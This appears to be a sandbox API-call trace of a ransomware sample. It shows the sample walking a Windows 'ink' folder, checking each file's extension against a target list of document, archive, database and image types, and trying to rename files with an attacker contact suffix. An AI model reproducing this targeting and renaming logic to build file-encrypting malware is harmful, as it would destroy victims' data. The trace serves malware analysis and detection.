	[0189.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72
	[0189.257] lstrlenW (lpString=".zip") returned 4
	[0189.257] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0189.257] lstrlenW (lpString=".rar") returned 4
	[0189.257] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0189.257] lstrlenW (lpString=".bz2") returned 4
	[0189.257] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0189.257] lstrlenW (lpString=".7z") returned 3
	[0189.258] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0189.258] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x30eff14 | out: lpFileSize=0x30eff14*=361472) returned 1
	[0189.258] CloseHandle (hObject=0x35c) returned 1
	[0189.258] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll")) returned 0x20
	[0189.258] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.258] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll") returned 61
	[0189.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll") returned 61
	[0189.258] lstrlenW (lpString=".doc") returned 4
	[0189.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll") returned 61
	[0189.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll") returned 61
	[0189.259] lstrlenW (lpString=".doc") returned 4
	[0189.259] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0189.259] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x30eff14 | out: lpFileSize=0x30eff14*=2018304) returned 1
	[0189.259] CloseHandle (hObject=0x35c) returned 1
	[0189.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll")) returned 0x20
	[0189.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.259] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0
	[0189.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61
	[0189.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61
	[0189.260] lstrlenW (lpString=".doc") returned 4
	[0189.260] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0189.260] lstrlenW (lpString=".docx") returned 5
	[0189.260] lstrcmpiW (lpString1=".docx", lpString2="j.dll") returned -1
	[0189.260] lstrlenW (lpString=".pdf") returned 4
	[0189.260] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0189.260] lstrlenW (lpString=".xls") returned 4
	[0189.260] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0189.260] lstrlenW (lpString=".xlsx") returned 5
	[0189.260] lstrcmpiW (lpString1=".xlsx", lpString2="j.dll") returned -1
	[0189.260] lstrlenW (lpString=".ppt") returned 4
	[0189.260] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0189.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61
	[0189.260] lstrlenW (lpString=".zip") returned 4
	[0189.260] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0189.260] lstrlenW (lpString=".rar") returned 4
	[0189.260] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0189.260] lstrlenW (lpString=".bz2") returned 4
	[0189.260] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0189.260] lstrlenW (lpString=".7z") returned 3
	[0189.260] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0189.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61
	[0189.260] lstrlenW (lpString=".dbf") returned 4
	[0189.260] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0189.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61
	[0189.260] lstrlenW (lpString=".1cd") returned 4
	[0189.260] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0189.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61
	[0189.260] lstrlenW (lpString=".jpg") returned 4
	[0189.260] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0189.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61
	[0189.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61
	[0189.261] lstrlenW (lpString=".doc") returned 4
	[0189.261] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0189.261] lstrlenW (lpString=".docx") returned 5
	[0189.261] lstrcmpiW (lpString1=".docx", lpString2="j.dll") returned -1
	[0189.261] lstrlenW (lpString=".pdf") returned 4
	[0189.261] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0189.261] lstrlenW (lpString=".xls") returned 4
	[0189.261] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0189.261] lstrlenW (lpString=".xlsx") returned 5
	[0189.261] lstrcmpiW (lpString1=".xlsx", lpString2="j.dll") returned -1
	[0189.261] lstrlenW (lpString=".ppt") returned 4
	[0189.261] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0189.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61
	[0189.261] lstrlenW (lpString=".zip") returned 4
	[0189.261] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0189.261] lstrlenW (lpString=".rar") returned 4
	[0189.261] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0189.261] lstrlenW (lpString=".bz2") returned 4
	[0189.261] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0189.261] lstrlenW (lpString=".7z") returned 3
	[0189.261] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0189.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61
	[0189.261] lstrlenW (lpString=".dbf") returned 4
	[0189.262] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0189.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61
	[0189.262] lstrlenW (lpString=".1cd") returned 4
	[0189.262] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0189.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61
	[0189.262] lstrlenW (lpString=".jpg") returned 4
	[0189.262] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0189.262] lstrcmpiW (lpString1=".exe", lpString2=".Z9") returned -1
	[0189.262] lstrlenW (lpString="InputPersonalization.exe") returned 24
	[0189.262] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0189.262] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x30eff14 | out: lpFileSize=0x30eff14*=367104) returned 1
	[0189.262] CloseHandle (hObject=0x35c) returned 1
	[0189.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe")) returned 0x20
	[0189.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.262] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe") returned 75
	[0189.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe") returned 75
	[0189.263] lstrlenW (lpString=".doc") returned 4
	[0189.263] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0189.263] lstrlenW (lpString=".docx") returned 5
	[0189.263] lstrcmpiW (lpString1=".docx", lpString2="n.exe") returned -1
	[0189.263] lstrlenW (lpString=".pdf") returned 4
	[0189.263] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0189.263] lstrlenW (lpString=".xls") returned 4
	[0189.263] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0189.263] lstrlenW (lpString=".xlsx") returned 5
	[0189.263] lstrcmpiW (lpString1=".xlsx", lpString2="n.exe") returned -1
	[0189.263] lstrlenW (lpString=".ppt") returned 4
	[0189.263] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0189.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe") returned 75
	[0189.263] lstrlenW (lpString=".zip") returned 4
	[0189.263] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0189.263] lstrlenW (lpString=".rar") returned 4
	[0189.263] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0189.263] lstrlenW (lpString=".bz2") returned 4
	[0189.263] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0189.263] lstrlenW (lpString=".7z") returned 3
	[0189.263] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0189.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe") returned 75
	[0189.263] lstrlenW (lpString=".dbf") returned 4
	[0189.263] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0189.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe") returned 75
	[0189.263] lstrlenW (lpString=".1cd") returned 4
	[0189.263] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0189.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe") returned 75
	[0189.263] lstrlenW (lpString=".jpg") returned 4
	[0189.263] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0189.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe") returned 75
	[0189.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe") returned 75
	[0189.264] lstrlenW (lpString=".doc") returned 4
	[0189.264] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0189.264] lstrlenW (lpString=".docx") returned 5
	[0189.264] lstrcmpiW (lpString1=".docx", lpString2="n.exe") returned -1
	[0189.264] lstrlenW (lpString=".pdf") returned 4
	[0189.264] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0189.264] lstrlenW (lpString=".xls") returned 4
	[0189.264] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0189.264] lstrlenW (lpString=".xlsx") returned 5
	[0189.264] lstrcmpiW (lpString1=".xlsx", lpString2="n.exe") returned -1
	[0189.264] lstrlenW (lpString=".ppt") returned 4
	[0189.264] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0189.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe") returned 75
	[0189.264] lstrlenW (lpString=".zip") returned 4
	[0189.264] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0189.264] lstrlenW (lpString=".rar") returned 4
	[0189.264] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0189.264] lstrlenW (lpString=".bz2") returned 4
	[0189.264] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0189.264] lstrlenW (lpString=".7z") returned 3
	[0189.264] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0189.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe") returned 75
	[0189.264] lstrlenW (lpString=".dbf") returned 4
	[0189.264] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0189.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe") returned 75
	[0189.264] lstrlenW (lpString=".1cd") returned 4
	[0189.264] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0189.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe") returned 75
	[0189.264] lstrlenW (lpString=".jpg") returned 4
	[0189.264] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0189.264] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0189.265] lstrlenW (lpString="IPSEventLogMsg.dll") returned 18
	[0189.265] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0189.265] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x30eff14 | out: lpFileSize=0x30eff14*=2560) returned 1
	[0189.265] CloseHandle (hObject=0x35c) returned 1
	[0189.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll")) returned 0x20
	[0189.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.265] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll") returned 69
	[0189.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll") returned 69
	[0189.265] lstrlenW (lpString=".doc") returned 4
	[0189.265] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0189.265] lstrlenW (lpString=".docx") returned 5
	[0189.265] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1
	[0189.265] lstrlenW (lpString=".pdf") returned 4
	[0189.265] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0189.265] lstrlenW (lpString=".xls") returned 4
	[0189.266] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0189.266] lstrlenW (lpString=".xlsx") returned 5
	[0189.266] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1
	[0189.266] lstrlenW (lpString=".ppt") returned 4
	[0189.266] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0189.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll") returned 69
	[0189.266] lstrlenW (lpString=".zip") returned 4
	[0189.266] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0189.266] lstrlenW (lpString=".rar") returned 4
	[0189.266] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0189.266] lstrlenW (lpString=".bz2") returned 4
	[0189.266] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0189.266] lstrlenW (lpString=".7z") returned 3
	[0189.266] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0189.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll") returned 69
	[0189.266] lstrlenW (lpString=".dbf") returned 4
	[0189.266] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0189.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll") returned 69
	[0189.266] lstrlenW (lpString=".1cd") returned 4
	[0189.266] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0189.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll") returned 69
	[0189.266] lstrlenW (lpString=".jpg") returned 4
	[0189.266] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0189.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll") returned 69
	[0189.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll") returned 69
	[0189.266] lstrlenW (lpString=".doc") returned 4
	[0189.266] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0189.266] lstrlenW (lpString=".docx") returned 5
	[0189.266] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1
	[0189.266] lstrlenW (lpString=".pdf") returned 4
	[0189.266] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0189.266] lstrlenW (lpString=".xls") returned 4
	[0189.266] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0189.266] lstrlenW (lpString=".xlsx") returned 5
	[0189.266] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1
	[0189.266] lstrlenW (lpString=".ppt") returned 4
	[0189.267] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0189.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll") returned 69
	[0189.267] lstrlenW (lpString=".zip") returned 4
	[0189.267] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0189.267] lstrlenW (lpString=".rar") returned 4
	[0189.267] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0189.267] lstrlenW (lpString=".bz2") returned 4
	[0189.267] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0189.267] lstrlenW (lpString=".7z") returned 3
	[0189.267] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0189.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll") returned 69
	[0189.267] lstrlenW (lpString=".dbf") returned 4
	[0189.267] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0189.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll") returned 69
	[0189.267] lstrlenW (lpString=".1cd") returned 4
	[0189.267] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0189.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll") returned 69
	[0189.267] lstrlenW (lpString=".jpg") returned 4
	[0189.267] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0189.267] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0189.267] lstrlenW (lpString="IpsMigrationPlugin.dll") returned 22
	[0189.267] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0189.268] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x30eff14 | out: lpFileSize=0x30eff14*=41984) returned 1
	[0189.268] CloseHandle (hObject=0x35c) returned 1
	[0189.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll")) returned 0x20
	[0189.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.268] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll") returned 73
	[0189.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll") returned 73
	[0189.268] lstrlenW (lpString=".doc") returned 4
	[0189.268] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0189.268] lstrlenW (lpString=".docx") returned 5
	[0189.268] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1
	[0189.268] lstrlenW (lpString=".pdf") returned 4
	[0189.268] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0189.268] lstrlenW (lpString=".xls") returned 4
	[0189.268] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0189.268] lstrlenW (lpString=".xlsx") returned 5
	[0189.268] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1
	[0189.268] lstrlenW (lpString=".ppt") returned 4
	[0189.268] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0189.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll") returned 73
	[0189.268] lstrlenW (lpString=".zip") returned 4
	[0189.268] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0189.268] lstrlenW (lpString=".rar") returned 4
	[0189.268] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0189.268] lstrlenW (lpString=".bz2") returned 4
	[0189.268] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0189.269] lstrlenW (lpString=".7z") returned 3
	[0189.269] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0189.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll") returned 73
	[0189.269] lstrlenW (lpString=".dbf") returned 4
	[0189.269] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0189.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll") returned 73
	[0189.269] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0189.269] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0189.269] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x30eff14 | out: lpFileSize=0x30eff14*=125952) returned 1
	[0189.269] CloseHandle (hObject=0x35c) returned 1
	[0189.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll")) returned 0x20
	[0189.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.270] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.270] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0189.270] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0189.270] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x30eff14 | out: lpFileSize=0x30eff14*=10752) returned 1
	[0189.270] CloseHandle (hObject=0x35c) returned 1
	[0189.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui")) returned 0x20
	[0189.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.271] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.271] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
